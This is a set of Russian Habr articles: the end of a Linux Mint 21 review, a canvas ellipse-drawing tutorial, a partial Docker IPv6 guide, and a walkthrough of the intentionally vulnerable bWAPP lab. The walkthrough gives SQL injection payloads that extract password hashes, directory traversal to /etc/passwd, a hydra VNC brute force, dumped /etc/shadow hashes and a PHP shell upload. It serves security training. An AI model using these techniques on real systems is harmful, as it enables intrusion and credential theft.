*Грамотно подобранный предустановленный софт, Linux Mint 21 полностью готов к работе и настраивается с помощью графического интерфейса.*
В Linux Mint 21 также вошло новое приложение для генерации миниатюр, были расширены возможности ведения заметок, реализована система мониторинга запуска фоновых процессов, а в рамках инициативы X-Apps была продолжена унификация программного окружения. Еще разработчики улучшили поддержку печати и сканирования с использованием протокола IPP (без установки драйверов) и произошло множество других изменений.
### Религиозные споры
> Напоследок стоит обсудить пару религиозных вопросов. Поскольку выбор дистрибутива — дело сакральное, такого рода нюансы часто оказываются решающими.
>
>
#### Почему разработчики Linux Mint не любят snap?
Для обновления Linux Mint 21 “Vanessa” и приложений используется графический менеджер **mintupdate**, иконка которого висит в системном трее. Крупные апдейты внутри релиза (21.1, 21.2 и т.д.) можно будет установить с его помощью, однако остается проблема с устареванием пакетов из Ubuntu 22.04. По большей части это не критично, но если вам года через полтора потребуется свежий LibreOffice, стоит задуматься о [переносимых](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D0%BD%D0%BE%D1%81%D0%B8%D0%BC%D0%BE%D0%B5_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5) приложениях [snap](https://ru.wikipedia.org/wiki/Snappy_(%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D0%B0%D0%BC%D0%B8)), [flatpak](https://ru.wikipedia.org/wiki/Flatpak) или [appimage](https://ru.wikipedia.org/wiki/AppImage). С последним форматом все просто: достаточно скачать образ с сайта разработчика, сделать файл исполняемым и запустить.
Менеджер обновлений Linux Mint 21 (тема оформления Mint-Y-Aqua)Упакованные в snap и flatpak приложения распространяются через онлайн-репозитории, притом первый формат разработали в Canonical для собственной системы управления пакетами **Snappy** и магазина приложений [Snapcraft.io](https://snapcraft.io/). Несмотря на открытость клиентской части, разместить пакеты snap можно только в проприетарном магазине Canonical.
*В Ubuntu некоторые популярные приложения, включая браузер Firefox, больше недоступны в виде распространяемых через* [*APT*](https://en.wikipedia.org/wiki/APT_(software)) *(advanced package tool) пакетов* [*deb*](https://ru.wikipedia.org/wiki/Deb_(%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82_%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2))*. Программы устанавливаются из магазина Snapcraft.io, который тесно интегрирован в дистрибутив через APT и систему управления пакетами Snappy.*
Это не устроило создателей Linux Mint настолько, что в официальной документации они [назвали](https://linuxmint-user-guide.readthedocs.io/en/latest/snap.html) магазин Canonical бэкдором через APT и по умолчанию [заблокировали](https://blog.linuxmint.com/?p=3906) использование snap и snapd в дистрибутивах, начиная с Linux Mint 20. В Mint из коробки поддерживается установка переносимых приложений flatpak, в т. ч. через графический менеджер программ, а тот же Firefox по-прежнему доступен в виде deb-пакетов, но уже из собственного репозитория.
> Для установки приложений flatpak можно использовать не только [Flathub](https://flathub.org/), но и сторонние репозитории — это в корне отличается от подхода Canonical.
>
>
Менеджер программ Linux Mint 21 (тема оформления Mint-Y)Для ряда других приложений, которые в Ubuntu ставятся из Snapcraft.io, в Mint сделали одноименные пакеты-заглушки, предлагающие альтернативный способ инсталляции. Например, вместо **chromium-browser** из Jammy Jellyfish такая заглушка предложит вам deb-пакет **chromium** из репозитория Vanessa.
#### Причина 4
***Четвертая причина заменить Ubuntu на Linux Mint очевидна:*** *здесь популярные программы по-прежнему доступны в виде deb-пакетов, а переносимые приложения можно ставить из любого flatpak-репозитория.*
#### Как установить snap и snapd в Linux Mint 20 и 21?
Для доступа к магазину Snapcraft.io в Linux Mint нужно отключить блокировку (удалить файл **nosnap.pref**) и установить **snapd** *(для запуска эмулятора терминала нажмите* ***Alt+Ctrl+T****)*:
```
sudo rm /etc/apt/preferences.d/nosnap.pref
sudo apt update
sudo apt install snapd
```
Для взаимодействия с репозиторием можно использовать консольную утилиту **snap** или установить клиентское приложение с графическим интерфейсом:
```
sudo snap install snap-store
```
> Пакеты переносимых приложений нужны не только для установки свежих версий ПО, которых нет в репозиториях дистрибутива: они используются и для распространения проприетарных продуктов под Linux.
>
>
Графический интерфейс для магазина приложений Snapcraft.io (тема оформления Yaru-sage)
> Тесная интеграция Snappy и APT — проблема настольных версий Ubuntu, которая отсутствует в других дистрибутивах.
>
>
***Зачем нужен проприетарный магазин Canonical, когда есть открытая инфраструктура flatpak-репозиториев?*** *Разработчики читалки Fbreader 2.0 предлагают инсталляцию только из snap. На Flathub размещен пакет Bitwarden, но о нем нет информации в разделе* [*Download*](https://bitwarden.com/download/) *официального сайта проекта. При желании можно найти и другие примеры.*
Главное окно читалки FBReader 2.0Некоторым издателям Canonical присваивает статус проверенных (отмечены зеленой галочкой). Это не гарантирует отсутствие в пакете вредоносного кода, но позволяет понять, что издатель именно тот, за кого себя выдает.
Просмотр списка установленных snap-пакетов в консольной утилите#### Причина 5
*Отсутствие тесной интеграции Linux Mint с системой управления пакетами Snappy и проприетарным онлайн-магазином Canonical позволяет использовать Snapcraft.io только там, где это действительно необходимо.*
#### Обновление до Linux Mint 21 или чистая установка системы?
Менеджер **mintupdate** позволяет перейти с Linux Mint 20, 20.1 и 20.2 на 20.3, но для обновления с 20.3 до 21 потребуется специальная утилита [**mintupgrade**](https://linuxmint-user-guide.readthedocs.io/en/latest/upgrade-to-mint-21.html), стабильная версия которой [вышла](https://blog.linuxmint.com/?p=4378) на днях.
Утилита mintupgrade для обновления Linux Mint 20.3 до версии 21 (скриншот из официального гайда)#### Причина 6
*Программа обновления с версии 20.3 “Una” до Linux Mint 21 “Vanessa”. Впрочем, нечто подобное есть и в других настольных дистрибутивах.*
Последнее преимущество сомнительно. В официальном гайде сказано, что этот серьезный процесс может занять несколько часов. В обновлении нет практического смысла, поскольку чистая установка Linux Mint 21 со всем дополнительным и сторонним софтом займет максимум полчаса, а у опытного линуксоида — минут 15.
***Совет:*** *если не хотите переносить данные и терять пользовательские настройки, стоит создать два раздела (****корневой*** *для системы и* ***/home*** *для данных). Корень можно безболезненно отформатировать и установить туда свежую систему, сохранив домашние каталоги пользователей нетронутыми. Только не забудьте снять галку форматирования раздела /home во время инсталляции.*
### Ложка дегтя
Пока нам удалось обнаружить в Linux Mint 21 “Vanessa” только одну проблему: не работает кнопка выбора третьего ряда клавиш, хотя в настройках включен правый Alt и программа раскладки клавиатуры показывает выбор Level 3. Вводить разнообразные тире и кавычки с помощью клавиши Compose муторно, поэтому если вы знаете решение проблемы, будем признательны за комментарии.
Раскладка клавиатуры, кнопка выбора третьего ряда клавиш (правый Alt) нажата**UPD**: На самом деле выбор третьего ряда клавиш работает, если в параметрах раскладки клавиатуры включить дополнительные типографские символы (по умолчанию они выключены). Как говорится, знай и люби свой «гуй» ;)
### Что в итоге?
Мы бесконечно благодарны Марку Шаттлворту и созданной им компании Canonical за несомненные заслуги в популяризации Linux, однако настольные версии Ubuntu развиваются в странном направлении (Ubuntu Server, к счастью, это не затронуло). Отказ от разработки Unity и переход на не менее сомнительную с точки зрения удобства оболочку GNOME Shell стал первой ласточкой. Окончательно дистрибутив добила интеграция APT со Snappy и прекращение распространения популярных приложений в виде deb-пакетов с переходом на пакеты snap из онлайн-магазина Snapcraft.io. Если вы любите Ubuntu, но с Canonical вам не по пути, ставьте Linux Mint. Он теплый, ламповый и вполне современный.
\_\_\_\_\_\_
Кстати, при [размещении ваших серверов в дата-центрах Москвы](https://hostkey.ru/colocation/russia-moscow/) или Западной Европы мы в HOSTKEY всегда поможем с выбором дистрибутива, бесшовной миграцией, переездом и любым необходимым обслуживанием. Например, [в Нидерландах можно арендовать стойки вместе с с полным комплексом услуг по поддержке вашей ИТ-инфраструктуры](https://hostkey.ru/colocation/netherlands-amsterdam/). Даже из России, ведь [наши специалисты все сделают сами](https://hostkey.ru/colocation/remote-smart-hands/). А платить за услуги [по-прежнему можно в рублях](https://hostkey.ru/news/51-mezhdunarodnyj-khosting-provajder-hostkey-prodolzhaet-prinimat-oplatu-v-rublyakh-za-uslugi-v-evrope-i-ssha/). | https://habr.com/ru/post/682722/ | null | ru | null |
# Рисование эллипса под произвольным углом в canvas на JavaScript
В процессе разработки одного приложения столкнулся с необходимостью рисования эллипсов под произвольным углом в canvas на JavaScript. Пользоваться какими-либо фреймворками в столь простом проекте не хотелось, так что я отправился на поиски статьи-мануала на эту тему. Поиски не увенчались успехом, так что пришлось разбираться с задачей самостоятельно, и я решил поделиться с вами полученным опытом.
Формализуем задачу. Нам требуется функция *drawEllipse(coords, sizes, vector)*, где:
* coords — координаты центра эллипса — массив [x, y]
* sizes — длины большой и малой полуосей эллипса — массив [a, b]
* vector — вектор [x, y] наклона эллипса
В статье приведено три способа решения данной задачи.
---
В качестве первого метода были выбраны кривые Безье. Для построения такой кривой требуются четыре точки: начальная, конечная и две контрольные.
Искомый эллипс будет состоять из двух таких кривых, причем нетрудно догадаться, что вышеупомянутые точки у каждой из них будут вершинами прямоугольника. Давайте исследуем наш эллипс.
1. Имеем некоторый вектор 
Найдем единичный вектор 
Найдем единичный вектор 
Для этого вспомним свойство скалярного произведения векторов обращаться в ноль в случае, если они перпендикулярны: 
Таким образом: 
2. Найдем векторы , точки A1, A2, B1, B2
3. Найдем векторы , точки C1, C2, C3, C4
4. Вспомним, что для рисования эллипса нам нужны две кривые Безье:
* 1-я имеет начальную точку B1, конечную B2, проходит через точку A1
* 2-я имеет начальную точку B2, конечную B1, проходит через точку A2 Вспомним также, что для построения кривых Безье нам требуются контрольные точки. Недолго думая, я сначала подставил в качестве таковых вершины прямоугольника, в который вписан эллипс. Это решение оказалось ошибкой, ведь если мы рассмотрим построение кривой Безье, то обнаружим, что она не касается отрезка, соединяющего две контрольные точки.
Изобразим момент построения кривой Безье в точке, в которой она (кривая) будет наиболее близка к отрезку между контрольными точками. В нашем случае это будет выглядеть так:
Из рисунка очевидно, что расстояние от этой точки (A1) до отрезка между контрольными точками (C1, C2) будет составлять четверть от расстояния между центром искомого эллипса (O) и тем же отрезком (C1, C2), то есть:
5. Обозначим ОА через x. Решим уравнение 
Таким образом, для получения эллипса с нужными параметрами нам необходимо умножить вектор  на параметр , после чего вернуться к вычислениям, описанным в пунктах 1-4. В результате получаем наборы точек (**B1, C1, C2, B2** и **B2, C3, C4, B1**) для построения двух кривых Безье, вместе представляющих искомую фигуру.
---
Собственно [демо](http://test.freelight.ru/ellipse/) и код:
```
function drawEllipse(ctx, coords, sizes, vector) {
var vLen = Math.sqrt(vector[0]*vector[0]+vector[1]*vector[1]); // вычисляем длину вектора
var e = [vector[0]/vLen, vector[1]/vLen]; // единичный верктор e || vector
var p = 4/3; // параметр
var a = [e[0]*sizes[0]*p, e[1]*sizes[0]*p]; // находим вектор a, используя параметр
var b = [e[1]*sizes[1], -e[0]*sizes[1]]; // находм вектор b
// находим точки A1, B1, A2, B2
var dotA1 = [coords[0]+a[0], coords[1]+a[1]];
var dotB1 = [coords[0]+b[0], coords[1]+b[1]];
var dotA2 = [coords[0]-a[0], coords[1]-a[1]];
var dotB2 = [coords[0]-b[0], coords[1]-b[1]];
// находим вектора c1, c2
var c1 = [a[0]+b[0], a[1]+b[1]];
var c2 = [a[0]-b[0], a[1]-b[1]];
// находим точки C1, C2, C3, C4
var dotC1 = [coords[0]+c1[0], coords[1]+c1[1]];
var dotC2 = [coords[0]+c2[0], coords[1]+c2[1]];
var dotC3 = [coords[0]-c1[0], coords[1]-c1[1]];
var dotC4 = [coords[0]-c2[0], coords[1]-c2[1]];
// рисуем наш эллипс
ctx.strokeStyle = 'black';
ctx.beginPath();
ctx.moveTo(dotB1[0], dotB1[1]); // начальная точка
ctx.bezierCurveTo(dotC1[0], dotC1[1], dotC2[0], dotC2[1], dotB2[0], dotB2[1]); // рисуем кривую Безье
ctx.bezierCurveTo(dotC3[0], dotC3[1], dotC4[0], dotC4[1], dotB1[0], dotB1[1]); // и вторую из точки, где закончили рисовать первую
ctx.stroke();
ctx.closePath();
// возвращаем вектору a изначальную длину
a = [e[0]*sizes[0], e[1]*sizes[0]];
// отрисовываем красным большую и малую оси эллипса, чтобы проверить, правильно ли мы отобразили запрошенный эллипс
ctx.beginPath();
ctx.moveTo(coords[0]+a[0], coords[1]+a[1]);
ctx.lineTo(coords[0]-a[0], coords[1]-a[1]);
ctx.moveTo(coords[0]+b[0], coords[1]+b[1]);
ctx.lineTo(coords[0]-b[0], coords[1]-b[1]);
ctx.strokeStyle = 'red';
ctx.stroke();
ctx.closePath();
}
```
---
**Upd.** Ознакомившись с комментариями, написал функцию рисования эллипса через параметрическое уравнение, и оказалось, что фигура, которая получается с помощью кривых Безье не вполне точно совпадает с эллипсом. На наложении фигур видно, что нарисованный кривыми Безье объект (красный) местами шире, чем правильный эллипс (синий). Вот [демо](https://jsfiddle.net/Smoren/ztpy8pag/) наложения фигур.
```
function drawEllipseParam(ctx, coords, sizes, angle, segments) {
ctx.save();
ctx.translate(coords[0], coords[1]);
ctx.rotate(angle);
ctx.beginPath();
var x, y, firstTime=true;
var dt = 2*Math.PI/segments;
for(var t=0; t<2*Math.PI; t+=dt) {
x = sizes[0]*Math.cos(t);
y = sizes[1]*Math.sin(t);
if(firstTime) {
firstTime = false;
ctx.moveTo(x, y);
} else {
ctx.lineTo(x, y);
}
}
ctx.strokeStyle = 'blue';
ctx.stroke();
ctx.closePath();
ctx.restore();
}
```
---
**Upd.** В комментариях подсказали более нативный и простой способ отрисовки наклонного эллипса (спасибо [subzey](http://habrahabr.ru/users/subzey/)). Оставлю здесь, чтобы не затерялся. Вот [демо](https://jsfiddle.net/Smoren/vjrkst4c/).
```
function drawEllipse(ctx, coords, sizes, angle) {
ctx.beginPath();
ctx.save(); // сохраняем стейт контекста
ctx.translate(coords[0], coords[1]); // перемещаем координаты в центр эллипса
ctx.rotate(angle); // поворачиваем координатную сетку на нужный угол
ctx.scale(1, sizes[1]/sizes[0]); // сжимаем по вертикали
ctx.arc(0, 0, sizes[0], 0, Math.PI*2); // рисуем круг
ctx.restore(); // восстанавливает стейт, иначе обводка и заливка будут сплющенными и повёрнутыми
ctx.strokeStyle = 'green';
ctx.stroke(); // обводим
ctx.closePath();
}
``` | https://habr.com/ru/post/255485/ | null | ru | null |
# Обзор площадки для тестирования веб-уязвимостей OWASP Top-10 на примере bWAPP
Привет, Хабр!
В этой статье предлагаю читателю ознакомится с уязвимостями веб-приложений (и не только), по классификации OWASP Top-10, и их эксплуатацией на примере bWAPP.
Краткий ликбез:
**Open Web Application Security Project (OWASP)** — это открытый проект обеспечения безопасности веб-приложений. Сообщество OWASP включает в себя корпорации, образовательные организации и частных лиц со всего мира. Сообщество работает над созданием статей, учебных пособий, документации, инструментов и технологий, находящихся в свободном доступе. Участники проекта уже десять лет составляют список Топ-10 самых опасных уязвимостей в веб-приложениях, стараясь привлечь внимание всех веб-разработчиков.
Сам топ-10 выглядит следющим [образом](https://www.owasp.org/index.php/Top_10_2013-Top_10):
*A1 Внедрение кода
A2 Некорректная аутентификация и управление сессией
A3 Межсайтовый скриптинг (XSS)
A4 Небезопасные прямые ссылки на объекты
A5 Небезопасная конфигурация
A6 Утечка чувствительных данных
A7 Отсутствие контроля доступа к функциональному уровню
A8 Подделка межсайтовых запросов (CSRF)
A9 Использование компонентов с известными уязвимостями
A10 Невалидированные редиректы*
Рейтинг отражает не только распространенность, но и опасность угрозы.
**buggy web application (bWAPP)** — это опенсорс веб-приложение, свободное для скачиваний. Отличает себя от других тем, что содержит около 100 уязвимостей, классифицированных по топ-10 от OWASP. Предназначается для поиска и эксплуатации уязвимостей в веб-приложениях и не только.
Автор bWAPP — Malik Mesellem ([его блог](http://itsecgames.blogspot.com))
Это PHP приложение, использующее MYSQL. Можно развернуть на винде/линуксе, на WAMP и XAMPP. Имеется также полностью готовая к употреблению виртуальная машина **bee-box**, которая и будет использована в статье.
**Список уязвимостей, что вы встретите в bWAPP:*** SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections
* Blind SQL and Blind OS Command injection
* Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)
* Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)
* Cross-Site Request Forgery (CSRF)
* AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)
* Malicious, unrestricted file uploads and backdoor files
* Authentication, authorization and session management issues
* Arbitrary file access and directory traversals
* Local and remote file inclusions (LFI/RFI)
* Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,...
* HTTP parameter pollution and HTTP response splitting
* Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion
* Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations
* HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues
* Unvalidated redirects and forwards, and cookie poisoning
* Cookie poisoning and insecure cryptographic storage
* Server Side Request Forgery (SSRF)
* XML External Entity attacks (XXE)
Что вас ждет в статье:
* Освещение нескольких уязвимостей — поиск, эксплуатация, использование пентест программ.
* Прохождение bwapp несколькими способами, не используя веб.
На кого расчитанна статья:
* На людей увлеченных информационной безопасностью, веб-разработчиков (я надеюсь:)), всех, кому интересна тема информационной безопасности, и чья работа так или иначе связана с веб-технологиями.
Требования:
* Жажда знаний
* Машина, на которой вы развернете bWAPP.
* *Опционально* — опыт использование пентест тулз, обзор и использование которых широко освещены на Хабре.
Цель статьи:
* Показать отличную площадку для тестирования своих навыков пентеста и/или разработки. Кратко ввести в курс дел безопасности веб-приложений. Ну и само соревнование никто не отменял :)
##### WARNING!
Чего не будет в статье:
1. Освещение ошибок конфигурации чего-либо — нет объяснений природы бага.
2. Обзора программ, которые помогают при пентесте.
Рассматриваемые уязвимости выбраны специально под легкость объяснения/занимаемое место в статье.
Ссылки на вспомогательные статьи/софт/етс приведены в конце статьи.
#### SQL-injection
Выбираем **SQL Injection (GET/Search)**
Открывается страница, где нам предлагают выбрать фильм. Что ж, попытаем счастье — введем Hulk.
Подставляем кавычку, получаем ошибку:
```
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk&action=search
```
Воспользуемся техникой order by и подберем количество столбцов:
```
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%2010%20--%20&action=search
```
Оно равно 7:
```
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%207%20--%20&action=search
```
Дальше используем union:
```
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search
```
Получаем номера столбцов:
Получаем имя БД, юзера, хеш пароля:
```
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,database%28%29,user%28%29,4,password,6,7%20from%20users%20--%20&action=search
```
**SQL Injection (POST/Search)**
Открываем /bWAPP/sqli\_6.php, вводим Hulk', баг есть, но адресная строка нам не помогает? Поможет Burpsuite и Sqlmap:
В burpsuite открываем наш запрос
Ошибка есть, теперь удаляем кавычку, сохраняем поле «Request» в .txt файл.
Открываем sqlmap и выполняем команду:
```
sqlmap -r sql.txt
```
Проверить sqlmap можно, например, подставив то, что программа нам предлагает, типа такого:
```
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
```
Просто подставим payload в адресную строку:
```
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
```
тем самым получим токен, что означает, что задача выполнена:
#### Или вас интересуют XSS?
Их здесь полно и на любой вкус.
Выбираем XSS — Reflected (GET)
Подставляем
```
alert(1);
```
#### Просто почитать чужие файлы?
Откроем Directory Traversal — Files
```
http://192.168.1.18/bWAPP/directory_traversal_1.php?page=message.txt
```
Попробуем подставить /etc/passwd:
Откроем Directory Traversal — Directories
```
http://192.168.1.18/bWAPP/directory_traversal_2.php?directory=documents
```
Прочитаем листинг /etc/:
#### Тестирование «черным ящиком»
Как любитель boot2root образов для пентеста (собственно так я и вышел на bWAPP) хотел бы вам показать тестирование без веба, с моими небольшими пояснениями.
Просканируем цель nmap'ом:
```
Nmap scan report for bee-box (192.168.1.18)
Host is up (0.0050s latency).
Not shown: 983 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
666/tcp open doom
3306/tcp open mysql
5901/tcp open vnc-1
6001/tcp open X11:1
8080/tcp open http-proxy
8443/tcp open https-alt
9080/tcp open glrpc
```
Здесь не будет результатов сканера Nikto (Рекомендую выполнить скан самостоятельно), из-за рамок статьи, я ограничусь разбором FTP и VNC сервисов.
##### FTP
Воспользуемся Dirbuster:
```
Dir found: /phpmyadmin/ - 200
Dir found: /evil/ - 200
Dir found: /webdav/ - 200
File found: /webdav/Iron_Man.pdf - 200
File found: /webdav/Terminator_Salvation.pdf - 200
File found: /webdav/The_Amazing_Spider-Man.pdf - 200
File found: /webdav/The_Cabin_in_the_Woods.pdf - 200
File found: /webdav/The_Dark_Knight_Rises.pdf - 200
File found: /webdav/The_Incredible_Hulk.pdf - 200
File found: /webdav/bWAPP_intro.pdf - 200
```
Тем временем
```
nmap --script=ftp*
```
сообщает, что:
```
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r-- 1 root www-data 543803 Nov 2 22:52 Iron_Man.pdf
| -rw-rw-r-- 1 root www-data 462949 Nov 2 22:52 Terminator_Salvation.pdf
| -rw-rw-r-- 1 root www-data 544600 Nov 2 22:52 The_Amazing_Spider-Man.pdf
| -rw-rw-r-- 1 root www-data 526187 Nov 2 22:52 The_Cabin_in_the_Woods.pdf
| -rw-rw-r-- 1 root www-data 756522 Nov 2 22:52 The_Dark_Knight_Rises.pdf
| -rw-rw-r-- 1 root www-data 618117 Nov 2 22:52 The_Incredible_Hulk.pdf
|_-rw-rw-r-- 1 root www-data 5010042 Nov 2 22:52 bWAPP_intro.pdf
```
Анализируя эти 2 результата, мы понимаем, что ftp папка (она же */webdav/*) доступна через http.
Значит будем заливать php шелл.
Анонимный доступ, аплоад, ftp через http, чего еще пожелать? :)
Наш шелл.
##### VNC
Пробуем подключится по 192.168.1.18:5901
Хорошо, воспользуемся hydra:
```
hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc
```
Коннектимся… тадам! Неожиданно, но это права root'а.
Раз root, тогда смотрим */etc/shadow*
```
root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7:::
bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7:::
neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7:::
alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7:::
thor:$1$Iy6Mvuaz$FzcNXTQ668kDD5LY.ObdL/:15897:0:99999:7:::
wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7:::
johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7:::
selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7:::
```
Воспользуемся [hashcat'ом](http://hashcat.net/oclhashcat/) для подбора паролей:
Вот такой улов.
#### Заключение
**Bee-box** немного выходит за рамки обычного write-up'а по boot2root образам. В нем каждый сможет отыскать что-то, что давно хотел попробовать/выучить/узнать.
Статья получилась сумбурной, но на мой взгляд, свою задачу я выполнил, ведь цель была познакомить читателя с площадкой для тестирования:
* Захотели узнать, к примеру, что такое [Heartbleed](https://ru.wikipedia.org/wiki/Heartbleed)? Легко! Запускаете его в виртуалке в 2 клика мыши.
* Ознакомиться/вспомнить какой-то инструмент или технологию, быстро проверив на практике, я считаю, отличный вариант.
* Здесь вполне можно прокачать навыки пентеста, веб-технологий, применений специфичного софта.
#### Список литературы
Автор bWAPP — Malik Mesellem ([его блог](http://itsecgames.blogspot.com))
Сам Топ-10 [OWASP](https://www.owasp.org/index.php/Top_10_2013-Top_10)
Отличная [подборка](http://habrahabr.ru/company/dsec/blog/200408/) тематических статей от [BeLove](https://habrahabr.ru/users/belove/)
Вторая подборка [описание пентест утилит](http://habrahabr.ru/post/125206/), также от [BeLove](https://habrahabr.ru/users/belove/)
Творение g0tmi1k — [сайт, на котором собраны boot2root образы](https://www.vulnhub.com)
Ссылка на [виртуальную машину](https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/), в архиве **5 гб**
Спасибо за внимание. Отвечу на любые вопросы. | https://habr.com/ru/post/250551/ | null | ru | null |
# Docker + IPv6 = ❦
Немного текста про поддержку IPv6 в докере и ещё кой-какие нюансы docker networking.
IPv4
====
Для разминки рассмотрим обычную IPv4-only систему. На хост-машине есть интерфейс `eth0`. К этому интерфейсу привязан внешний IP-адрес. Ещё есть loopback интерфейс. Когда на такую машину мы устанавливаем docker, он создаёт себе дефолтную сеть с названием `bridge`. Для этой сети на хост-машине создается еще один интерфейс `docker0`. У него тоже появляется ip адрес, например, `172.17.0.1`. Когда мы запускаем контейнер, докер выделяет контейнеру адрес из выбранной сети (`bridge` по умолчанию). Например, `172.17.0.5`. Внутри контейнера появляется интерфейс `eth0` и на нём адрес `172.17.0.5`. Итак, с адресами базово разобрались. Теперь попробуем понять, как процесс внутри контейнера может обращаться к внешним ресурсам и как сделать так, чтобы можно было снаружи сходить в контейнер. Если процесс в контейнере хочет сходить по сети во внешний интернет, ему нужны: адрес, настройки маршрутов и сконфигурированный DNS-резолвер. Адрес у нас уже есть, маршруты прокладываются докером автоматически (до внутреннего `eth0` напрямую, а далее через iptables), а DNS докер подкладывает из файла `/etc/resolv.conf` хост-машины (при этом оттуда убираются строчки, ведущие на localhost, по очевидным причинам). С DNS есть один нюанс: если использовать не дефолтную сеть, а создать свою командой docker network create, то при запуске контейнеров в этой сети в конфиг `/etc/resolv.conf` будет добавлен еще один DNS-сервер `127.0.0.11`. Этот особенный DNS-сервер называется embedded DNS server, и его нельзя отключить никак, кроме ручного удаления в entrypoint контейнера. Эта особенность мало влияет на работу в IPv4- only окружениях, но в IPv6 может стать проблемой. Вернёмся к этому вопросу, когда будем обсуждать IPv6. Итак, у нас всё есть для того, чтобы траффик успешно достигал внешних сетей. Если же мы хотим, чтобы процесс в контейнере слушал какой-то порт, и был доступен извне, то мы должны настроить процесс так, чтобы он слушал выданный ему интерфейс, а сам контейнер запускать с флагом -p. При этом докер запускает на хост-машине отдельный процесс docker-proxy (так называемый userland proxy), который, в свою очередь, байндится ко всем интерфейсам хост-машины и проксирует трафик в указанный контейнер.
Кстати, адреса, выдаваемые контейнерам, доступны для других контейнеров напрямую (если не рассматривать экзотические топологии). Например, если один контейнер имеет адрес `172.17.0.5` и слушает порт 80, то мы можем обращаться к нему по этому адресу как с хост-машины, так и из любого другого контейнера. Запускать контейнер с флагом `-p 80:80` для этого не нужно. Этот флажок предназначен уже для того, чтобы порт стал доступен и на внешних интерфейсах хост-машины.
IPv6
====
Теперь представим, что мы должны научить наше приложение обращаться к IPv6-хостам. Допустим, что наша хост-машина теперь помимо IPv4- адреса на eth0 получила и IPv6-адрес (глобально маршрутизируемый, link-local адреса не в счёт). Также у нас вместо IPv4-DNS сервера теперь имеется IPv6-сервер (было бы странно иметь DNS-сервер, доступный по IPv4, который умеет отвечать на AAAA-запросы). Если мы захотим, чтобы наши контейнеры тоже могли ходить по IPv6, нам нужно:
1. Выбрать метод раздачи IPv6-адресов для контейнеров
2. Создать кастомную сеть или настроить дефолтную сеть bridge
3. Убедиться, что dns сервер, прописанный в `/etc/resolv.conf` контейнера, умеет отвечать на AAAA-запросы
DNS стоит крайним пунктом, потому что сначала нужно научиться ходить по IP-адресам, а потом уже добавлять поддержку DNS
Базово есть следующие варианты для раздачи IP-адресов (кроме `--net=host`, который мы не будем рассматривать, там и так всё должно работать):
### 1) Реальная подсеть от провайдера размера /80 и больше
Если ваш провайдер выделяет вам настоящую /64-подсеть (или хотя бы /80), это самый простой вариант. Скорее всего, всё заработает сразу после того, как вы добавите опции `--ipv6 --fixed-cidr-v6={{ ваша сеть }}` в конфиг. Может ещё понадобиться установить несколько sysctl опций:
```
net.ipv6.conf.all.forwarding=1
net.ipv6.conf.default.forwarding=1
net.ipv6.conf.eth0.accept_ra=2
```
### 2) NDP proxying
Если в вашем распоряжении нет достаточно большой подсети, а есть, к примеру, только 16 адресов (/124), то можно воспользоваться NDP проксированием. При этом адреса контейнерам придётся указывать самостоятельно (либо явно с использованием кастомной сети, либо неявно в дефолтной, используя тот факт, что адреса докер выдаёт предсказуемо, на базе MAC-адреса, а MAC-адрес можно указать руками). Ещё придётся добавить каждый такой адрес в список neighbors и включить несколько флагов ядра. Этот вариант неудобен из-за большого количества ручной работы. Подробнее про этот способ можно почитать в [документации](https://docs.docker.com/engine/userguide/networking/).
### 3) IPv6 NAT
